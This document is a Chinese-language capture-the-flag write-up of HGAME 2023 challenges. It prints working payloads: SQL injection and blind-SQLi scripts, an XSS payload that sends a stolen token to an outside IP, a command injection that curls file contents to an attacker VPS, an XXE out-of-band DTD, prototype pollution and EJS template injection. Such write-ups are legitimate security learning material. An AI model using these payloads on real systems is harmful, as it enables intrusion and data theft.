Web Week1-Classic Childhood Game 一个魔塔的游戏(童年的会议)
查看源代码,在Events.js里搜索关键字“通关”,可以发现在4个通过事件下面都会执行mota()
直接在控制台执行mota()
,得到flag
Week1-Guess Who I Am 脚本题
在源码里有hint获得数据集
找到他怎么获得题目和获得分数的接口,然后写脚本
因为在requests访问得到的结果里< > &
会被unicode编码,所以在进行判断的时候替换一下
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestslist =[ { "id" : "ba1van4" , "intro" : "21级 / 不会Re / 不会美工 / 活在梦里 / 喜欢做不会的事情 / ◼◻粉" , "url" : "https://ba1van4.icu" }, { "id" : "yolande" , "intro" : "21级 / 非常菜的密码手 / 很懒的摸鱼爱好者,有点呆,想学点别的但是一直开摆" , "url" : "https://y01and3.github.io/" }, .........., .......... ] sess=requests.session() for i in range (101 ): url="http://week-1.hgame.lwsec.cn:31653/api/getQuestion" res=sess.get(url) print (res.text) for x in list : if x.get('intro' ) in res.text.replace('\\u0026' ,'&' ).replace('\\u003c' ,'<' ).replace('\\u003e' ,'>' ): print (x.get('id' ),x.get('intro' )) url2="http://week-1.hgame.lwsec.cn:31653/api/verifyAnswer" res2=sess.post(url2,data={"id" :x.get('id' )}) print (res2.text) url3="http://week-1.hgame.lwsec.cn:31653/api/getScore" print (sess.get(url3).text)
Week1-Show Me Your Beaut 文件上传,过滤了php等,
使用大小写绕过,3.PhP
Week1-Become A Member 有点小无语
请先提供一下身份证明(Cute-Bunny)哦
设置http头,User-Agent: Cute-Bunny
每一个能够成为会员的顾客们都应该持有名为Vidar的邀请码(code)
设置http头,Cookie: code=Vidar;
由于特殊原因,我们只接收来自于bunnybunnybunny.com的会员资格申请
设置http头,Referer:bunnybunnybunny.com
就差最后一个本地的请求,就能拿到会员账号啦
设置http头,X-Forwarded-For: 127.0.0.1
username:luckytoday password:happy123(请以json请求方式登陆)
数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 GET / HTTP/1.1 Host: week-1.hgame.lwsec.cn:31764 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Cute-Bunny Referer:bunnybunnybunny.com X-Forwarded-For: 127.0.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: code=Vidar; Connection: close Content-Length: 51 {"username":"luckytoday","password":"happy123"}
Week2-Git Leakage 就是个git泄露,使用Githack github:https://github.com/lijiejie/GitHack
然后在得到的文件夹内得到flag
Week2-v2board 一个v2board的越权访问漏洞
参考链接:V2Board Admin.php 越权访问漏洞
注册个账户登录之后,就可以直接使用admin的api接口
数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 GET /api/v1/admin/user/fetch HTTP/1.1 Host: week-2.hgame.lwsec.cn:32149 Pragma: no-cache Cache-Control: no-cache authorization: MTIzNDU2QHFxLmNvbTokMnkkMTAkTEJDYVBPNklGbTdKU2l5c2J3bGlDTzVkVjhvMzlULm9OWTRWejd2WTAxaU91c3BiMmNhNHk= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Content-Language: zh-CN Accept: */* Referer: http://week-2.hgame.lwsec.cn:32149/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: _ga=GA1.1.338645386.1673702436; _ga_P1E9Z5LRRK=GS1.1.1673702435.1.1.1673703462.0.0.0 Connection: close
Week2-Search Commodity 有点搞我心态,因为显错位选错了,结果整了半天 XD,爆不出字段名,还可以使用无列名注入,但是重点就是选对显错位!!!!!!!!
先是个弱密码,user01/admin123
然后就是个联合注入,只不过过滤了些东西,向像union,and,or,=,空格,database等
关键字可以用大小写绕过
=用like替代
空格使用%0c替代
在联合查询时,information要使用infoorrmation,因为在后端or会被替换为空
这里选择显错位要选择中间的那个,因为第三个显错位的数据类型可能不是字符串,导致读不出数据
payload:
爆库名:
1 search_id=0%0cUnion%0cSelect%0c1,Database(),1
得到se4rch
爆表名:
1 search_id=0%0cUnion%0cSelect%0c1,Group_concat(table_name),1%0cFrom%0cinfoorrmation_schema.tables%0cWhere%0ctable_schema%0clike%0c'se4rch'
得到5ecret15here,L1st,user1nf0
爆5ecret15here的字段
1 search_id=0%0cUnion%0cSelect%0c1,Group_concat(column_name),1%0cFrom%0cinfoorrmation_schema.columns%0cWhere%0ctable_schema%0clike%0c'se4rch' %0cAnd%0ctable_name%0clike%0c'5ecret15here'
得到f14gggg1shere
获取flag
1 search_id=0%0cUnion%0cSelect%0c1,f14gggg1shere,1%0cFrom%0c5ecret15here
得到flag:hgame{4_M4n_WH0_Kn0ws_We4k-P4ssW0rd_And_SQL!}
Week2-Designer 因为之前不熟悉,所以做了挺久XD
参考连接:
利用XHR (XMLHttpRequest)进行ssrf,获得token,然后再外带出来
查看代码里的关键内容
1 2 3 4 5 6 7 8 9 app.post ("/user/register" , (req, res ) => { const username = req.body .username let flag = "hgame{fake_flag_here}" if (username == "admin" && req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1" ) { flag = "hgame{true_flag_here}" } const token = jwt.sign ({ username, flag }, secret) res.json ({ token }) })
这里是只有本地访问,且username=admin才会返回存在flag的json格式的token
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 app.post ("/button/share" , auth, async (req, res) => { const browser = await puppeteer.launch ({ headless : true , executablePath : "/usr/bin/chromium" , args : ['--no-sandbox' ] }); const page = await browser.newPage () const query = querystring.encode (req.body ) await page.goto ('http://127.0.0.1:9090/button/preview?' + query) await page.evaluate(() => { return localStorage .setItem ("token" , "jwt_token_here" ) }) await page.click ("#button" ) res.json ({ msg : "admin will see it later" }) })
/button/share路由可以让admin去访问/button/preview路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 app.get ("/button/preview" , (req, res ) => { const blacklist = [ /on/i , /localStorage/i , /alert/i , /fetch/ , /XMLHttpRequest/ , /window/ , /location/ , /document/ ] for (const key in req.query ) { console .log (key) for (const item of blacklist) { console .log (req.query [key]) if (item.test (key.trim ()) || item.test (req.query [key].trim ())) { req.query [key] = "" } } } res.render ("preview" , { data : req.query }) })
/button/preview路由可以进行预览生成的图标,同时可以进行xss,但是过滤了一些关键字,可以使用html编码进行绕过,具体可以看探索XSS利用编码绕过的原理
1 <svg > <script > a l e r t ( ' x s s ' ) </script >
这样可以触发alert,前面的<svg>
是必须的
然后就是看xhr请求,可以register返回的值是json格式,所以要解析JSON
还有一些闭合啥的就不说了
具体payload
1 "><svg > <script > let data = new FormData ();data.append ("username" , "admin" );let xhr = new XMLHttpRequest ();xhr.open ("POST" , "/user/register" , true );xhr.onload =function ( ){a=JSON .parse (this .responseText );xhr.open ("GET" ,"http://ip:port/" +a.token );xhr.send ();};xhr.send (data);</script >
因为没有过滤script和svg,所以只用把中间的内容进行编码就行
自己写了个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import urllib.parsedef string2hex (str ): result='' for i in str : result+='&#x' +hex (ord (i))[2 :]+';' print (('[+] Convert_to_htmlencode_is:{}' ).format (result)) return result def tourlencode (str ): result=urllib.parse.quote(str ) print ('[+]=>Convert_to_urlencode_is:{}' .format (result)) if __name__=='__main__' : str =input ('code:' ) a = string2hex(str ) x = input ("urlencode?: " ) if x=='1' : tourlencode(a)
然后数据包内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 POST /button/share HTTP/1.1 Host: week-2.hgame.lwsec.cn:32081 Content-Length: 1757 Pragma: no-cache Cache-Control: no-cache Accept: application/json, text/plain, */* Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyIsImZsYWciOiJoZ2FtZXtmYWtlX2ZsYWdfaGVyZX0iLCJpYXQiOjE2NzQxMjk1NDh9.WmukQwq_iTqggkh46HSio-6OrFS2vwZpR8rfqAhruSY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: application/json Origin: http://week-2.hgame.lwsec.cn:32081 Referer: http://week-2.hgame.lwsec.cn:32081/button/edit Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: _ga=GA1.1.338645386.1673702436; _ga_P1E9Z5LRRK=GS1.1.1673702435.1.1.1673705290.0.0.0; SESSION=MTY3MzcwNTgxMHxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT184QW4c0XVHi565shIgRL0YX6ATYfkdUxOsEPm50J6Qs0= Connection: close {"border-radius":"0px","background-color":"#000000","color":"#000000","border-width":"1px","box-shadow":"3px 3px #000", "xss":"\"><svg><script>let data = new FormData();data.append("username", "admin");let xhr = new XMLHttpRequest();xhr.open("POST", "/user/register", true);xhr.onload=function(){a=JSON.parse(this.responseText);xhr.open("GET","http://110.40.193.202:9999/"+a.token);xhr.send();};xhr.send(data);</script>"}
之后就可以在vps上发现传来的token,直接在https://jwt.io/ 这上面进行解码,就可以获得flag
Week3-Ping To The Host 一个命令注入,很简单
使用vps接受flag
payload:
1 ip=127.0.0.1%26%26a=cu%26%26b=rl%26%26$a$b${IFS} 'vpsip:vpsport/' `c=ca%26%26d=t%26%26$c$d${IFS} /f*`
然后自己加{
和}
Week3-Login To Get My Gift 盲注
经过简单的fuzz,题目过滤了以下关键字
1 AND LIKE MIDDLEINT RLIKE UNION UPDATE handler like handler -- - ! = AND '1'='1 union
没有过滤regexp
和转义符合\
,且经过测试,题目是用'
来包裹数据
利用转义符合\
将username的第二个'
转义,然后使password后面的第一个'
与username的第一个'
进行闭合
再后面利用regexp进行盲注
eg:
1 select * from users where username= '\' and password= '|| (select group_concat(table_name) from information_schema.tables where database() regexp database()) regexp ' ^ xxx'
空格使用/**/
替代
要使用binary来匹配大小写
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport stringurl="http://week-3.hgame.lwsec.cn:32312/login" str =string.ascii_letters+string.digits+"{},-_" result='' for x in range (50 ): for i in str : tmp=result+i res = requests.post(url=url,data=data) if "Success!" in res.text: result+=i print (result) print ("finish=>" +result)
最后得到账户密码hgAmE2023HAppYnEwyEAr / WeLc0meT0hgAmE2023hAPPySql
Week3-Gopher Shop 利用并发造成的无符号整数向下溢出
关键代码
utils.GetOrderSum
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package utilsfunc GetOrderSum (username string ) (map [string ]uint , error ) { order, err := db.GetOrder(username) if err != nil { return nil , err } var sum = map [string ]uint {} for _, i := range order { _, exist := sum[i.Product] if !exist { sum[i.Product] = 0 } if !i.Status { sum[i.Product] -= i.Number } else { sum[i.Product] += i.Number } } for k, v := range sum { if v == 0 { delete (sum, k) } } return sum, nil }
这里的order是返回的一个Order结构体数组,而sum是一个键为string类型,值为uint(无符号整数)类型的字典
1 2 3 4 5 if !i.Status { sum[i.Product] -= i.Number } else { sum[i.Product] += i.Number }
这里是判断order数组里的结构体元素的Status成员的值,如果为false就将sum字典里的键为i.Product的值减一,否则加一
这里Status的值在买东西和卖东西后会被赋值
买东西后
1 err = db.AddOrder(username.(string ), product, uint (number), true )
卖东西后
1 err = db.AddOrder(username.(string ), product, uint (number), false )
所以如果status为fasle的话,sum[i.Product]的值就会减一,如果此时sum[i.Product]的值为0,那么就会造成无符号整数向下溢出
这样就能让我们已经购买的东西数量增加
因为addorder在判断是否能(买/卖)出之后才执行的,所以要先买一个苹果,然后再快速的发包,让两个进程几乎同时执行到addorder
这样在
1 order, err := db.GetOrder(username)
执行后就可以在结构体数组里得到一个status为true,两个status为false的结构体,就会导致sum[i.Product]=0+1-1-1,就会溢出
使用burp发包,多发几次,成功率大一些
然后全卖了就能买Flag了
hgame{GopherShop_M@gic_1nt_0verflow}
Week4-Shared Diary nodejs原型链污染
禁用了__proto__
字符串,可以使用constructor.prototype
来进行污染
因为prototype是函数里面的属性,而constructor可以创建一个关于此对象的函数,从而进行污染
payload
1 2 { "username" : "w" , "constructor" : { "prototype" : { "role" : "admin" } } }
得到session,复制session到cookie,进入路由/
在ejs文件里diray对象是用<%- %>
包裹的
标签含义
<%
‘脚本’ 标签,用于流程控制,无输出。
<%_
删除其前面的空格符
<%=
输出数据到模板(输出是转义 HTML 标签)
<%-
输出非转义的数据到模板
<%#
注释标签,不执行、不输出内容
<%%
输出字符串 ‘<%’
%>
一般结束标签
-%>
删除紧随其后的换行符
_%>
将结束标签后面的空格符删除
所以这里输出的内容不会被转义,所以直接使用标签<%= %>
进行模板注入
payload
1 POST: diary=<%25= this.global.process.mainModule.require('fs').readFileSync('/flag')%25>
得到flag
Week4-Tell Me 一道XXE
查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php libxml_disable_entity_loader (false );if ($_SERVER ["REQUEST_METHOD" ] == "POST" ){ $xmldata = file_get_contents ("php://input" ); if (isset ($xmldata )){ $dom = new DOMDocument (); try { $dom ->loadXML ($xmldata , LIBXML_NOENT | LIBXML_DTDLOAD); }catch (Exception $e ){ $result = "loading xml data error" ; echo $result ; return ; } $data = simplexml_import_dom ($dom ); if (!isset ($data ->name) || !isset ($data ->email) || !isset ($data ->content)){ $result = "name,email,content cannot be empty" ; echo $result ; return ; } if ($data ->name && $data ->email && $data ->content){ $result = "Success! I will see it later" ; echo $result ; return ; }else { $result = "Parse xml data error" ; echo $result ; return ; } } }else { die ("Request Method Not Allowed" ); } ?>
很明显的XXE,而且没有任何过滤,因为没有回显,所以引用外部实体注入进行oob
恶意dtd,放在vps上,然后用python开启一个http服务
1 <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://vpsip:port/?content=%file;'>" > %payload;%send;
payload:
name、email和content里面要有值
使用burp放在body里发包
1 2 3 4 5 6 <!DOCTYPE xml [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" > <!ENTITY % remote SYSTEM "http://vpsip:port/1.dtd" > %remote;]><user > <name > %remote; </name > <email > asd</email > <content > asd</content > </user >
然后发包,在vps上开启监听,就能获得base64编码后的flag
Pwn Week1-test_nc 直接nc连接后,cat flag
Crypto Week1-RSA 简单的rsa
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from Crypto.Util.number import *flag = open ('flag.txt' , 'rb' ).read() p = getPrime(512 ) q = getPrime(512 ) n=p*q e = 65537 m = bytes_to_long(flag) c = pow (m, e, n) print (f"c={c} " )print (f"n={n} " )""" c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582 n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789 """
用这个分解出p和qhttp://www.factordb.com/index.php
exp:
1 2 3 4 5 6 7 8 9 10 11 12 import gmpy2from Crypto.Util.number import *e = 65537 n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789 c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582 p=11239134987804993586763559028187245057652550219515201768644770733869088185320740938450178816138394844329723311433549899499795775655921261664087997097294813 q=12022912661420941592569751731802639375088427463430162252113082619617837010913002515450223656942836378041122163833359097910935638423464006252814266959128953 phi = (p-1 )*(q-1 ) d = gmpy2.invert(e,phi) m = pow (c,d,n) print (long_to_bytes(m))